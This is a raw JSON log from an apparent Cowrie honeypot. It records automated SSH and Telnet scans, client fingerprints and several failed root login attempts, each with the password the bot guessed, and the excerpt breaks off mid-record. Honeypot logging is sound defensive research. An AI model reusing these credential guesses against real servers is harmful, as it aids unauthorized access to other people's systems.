{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:59:57.313497Z","src_ip":"31.40.204.166","session":"a6c4053a75f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:59:57.409817Z","src_ip":"31.40.204.166","session":"a6c4053a75f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"4r3e2w1q","message":"login attempt [root/4r3e2w1q] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:59:57.983895Z","src_ip":"31.40.204.166","session":"a6c4053a75f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.58544945716858,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:59:58.187067Z","src_ip":"152.42.224.71","session":"4cdd7cc087fe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58360,"dst_ip":"10.17.0.5","dst_port":23,"session":"7688f10d9701","protocol":"telnet","message":"New connection: 152.42.224.71:58360 (10.17.0.5:23) [session: 7688f10d9701]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:59:58.866225Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:59:59.107536Z","src_ip":"31.40.204.166","session":"a6c4053a75f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58368,"dst_ip":"10.17.0.5","dst_port":23,"session":"d86a66152985","protocol":"telnet","message":"New connection: 152.42.224.71:58368 (10.17.0.5:23) [session: d86a66152985]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:00:00.372596Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.183.114.55","src_port":39242,"dst_ip":"10.17.0.5","dst_port":22,"session":"3d20edb911ae","protocol":"ssh","message":"New connection: 103.183.114.55:39242 (10.17.0.5:22) [session: 3d20edb911ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:00:00.470316Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:00:00.475755Z","src_ip":"103.183.114.55","session":"3d20edb911ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:00:00.699185Z","src_ip":"103.183.114.55","session":"3d20edb911ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58378,"dst_ip":"10.17.0.5","dst_port":23,"session":"64733afc4fc5","protocol":"telnet","message":"New connection: 152.42.224.71:58378 (10.17.0.5:23) [session: 64733afc4fc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:00:01.171484Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"hardcore","message":"login attempt [root/hardcore] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:00:01.370525Z","src_ip":"103.183.114.55","session":"3d20edb911ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":1.4344496726989746,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:00:02.605810Z","src_ip":"152.42.224.71","session":"64733afc4fc5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:00:02.612052Z","src_ip":"103.183.114.55","session":"3d20edb911ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":16.24083685874939,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:00:03.417612Z","src_ip":"152.42.224.71","session":"c3ecf3ba5c97","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":24.76752471923828,"message":"Connection lost after 24 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:00:04.109448Z","src_ip":"152.42.224.71","session":"464f8d7283d0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.355421781539917,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:00:04.221403Z","src_ip":"152.42.224.71","session":"7688f10d9701","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.198","src_port":54292,"dst_ip":"159.203.135.109","dst_port":22,"session":"b0d61762686d","protocol":"ssh","message":"New connection: 103.75.182.198:54292 (159.203.135.109:22) [session: b0d61762686d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:00:04.936723Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:00:04.952835Z","src_ip":"103.75.182.198","session":"b0d61762686d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:00:05.217963Z","src_ip":"103.75.182.198","session":"b0d61762686d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asdasdasd","message":"login attempt [root/asdasdasd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:00:05.955369Z","src_ip":"103.75.182.198","session":"b0d61762686d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.462401390075684,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:00:06.534305Z","src_ip":"152.42.224.71","session":"1384c9ca0882","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:00:07.205073Z","src_ip":"103.75.182.198","session":"b0d61762686d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":27.554039478302002,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:00:09.494001Z","src_ip":"152.42.224.71","session":"7562a8dfbb14","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.7586727142334,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:00:09.962987Z","src_ip":"152.42.224.71","session":"4f0be9d1b0f5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":47772,"dst_ip":"159.203.135.109","dst_port":22,"session":"0bbb79a3e34e","protocol":"ssh","message":"New connection: 31.40.204.166:47772 (159.203.135.109:22) [session: 0bbb79a3e34e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:00:10.838108Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:00:10.849930Z","src_ip":"31.40.204.166","session":"0bbb79a3e34e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:00:11.006332Z","src_ip":"31.40.204.166","session":"0bbb79a3e34e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50330,"dst_ip":"10.17.0.5","dst_port":23,"session":"33c6456c038f","protocol":"telnet","message":"New connection: 152.42.224.71:50330 (10.17.0.5:23) [session: 33c6456c038f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:00:11.044857Z"}
{"eventid":"cowrie.session.closed","duration":68.07684659957886,"message":"Connection lost after 68 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:00:11.367733Z","src_ip":"152.42.224.71","session":"39df94773747","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"123","message":"login attempt [frappe/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:00:11.494742Z","src_ip":"31.40.204.166","session":"0bbb79a3e34e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:00:12.820684Z","src_ip":"31.40.204.166","session":"0bbb79a3e34e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.185868978500366,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:00:21.820200Z","src_ip":"152.42.224.71","session":"bde190663b31","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":44266,"dst_ip":"159.203.135.109","dst_port":22,"session":"75cab33d51e5","protocol":"ssh","message":"New connection: 31.40.204.166:44266 (159.203.135.109:22) [session: 75cab33d51e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:00:22.814096Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:00:22.822093Z","src_ip":"31.40.204.166","session":"75cab33d51e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:00:22.992133Z","src_ip":"31.40.204.166","session":"75cab33d51e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Welcome123","message":"login attempt [root/Welcome123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:00:23.588184Z","src_ip":"31.40.204.166","session":"75cab33d51e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57956,"dst_ip":"10.17.0.5","dst_port":23,"session":"35d1f1bf2a7c","protocol":"telnet","message":"New connection: 152.42.224.71:57956 (10.17.0.5:23) [session: 35d1f1bf2a7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:00:24.649521Z"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:00:24.814205Z","src_ip":"31.40.204.166","session":"75cab33d51e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37252,"dst_ip":"10.17.0.5","dst_port":23,"session":"f607a7ee5c5c","protocol":"telnet","message":"New connection: 152.42.224.71:37252 (10.17.0.5:23) [session: f607a7ee5c5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:00:28.321442Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":59502,"dst_ip":"159.203.135.109","dst_port":22,"session":"aaffa8299fbc","protocol":"ssh","message":"New connection: 31.40.204.166:59502 (159.203.135.109:22) [session: aaffa8299fbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:00:34.290671Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:00:34.588042Z","src_ip":"31.40.204.166","session":"aaffa8299fbc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:00:34.592436Z","src_ip":"31.40.204.166","session":"aaffa8299fbc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin123!","message":"login attempt [root/Admin123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:00:35.189048Z","src_ip":"31.40.204.166","session":"aaffa8299fbc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:00:36.314201Z","src_ip":"31.40.204.166","session":"aaffa8299fbc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":98.95045733451843,"message":"Connection lost after 98 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:00:38.262524Z","src_ip":"152.42.224.71","session":"1afae91cdd28","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":114.8444709777832,"message":"Connection lost after 114 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:00:38.463539Z","src_ip":"152.42.224.71","session":"5fdd04b8c7a7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37426,"dst_ip":"10.17.0.5","dst_port":23,"session":"d5ad4df5e44d","protocol":"telnet","message":"New connection: 152.42.224.71:37426 (10.17.0.5:23) [session: d5ad4df5e44d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:00:39.935524Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":35050,"dst_ip":"159.203.135.109","dst_port":22,"session":"a2acb21d2ef3","protocol":"ssh","message":"New connection: 193.37.70.224:35050 (159.203.135.109:22) [session: a2acb21d2ef3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:00:41.972699Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:00:41.977670Z","src_ip":"193.37.70.224","session":"a2acb21d2ef3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-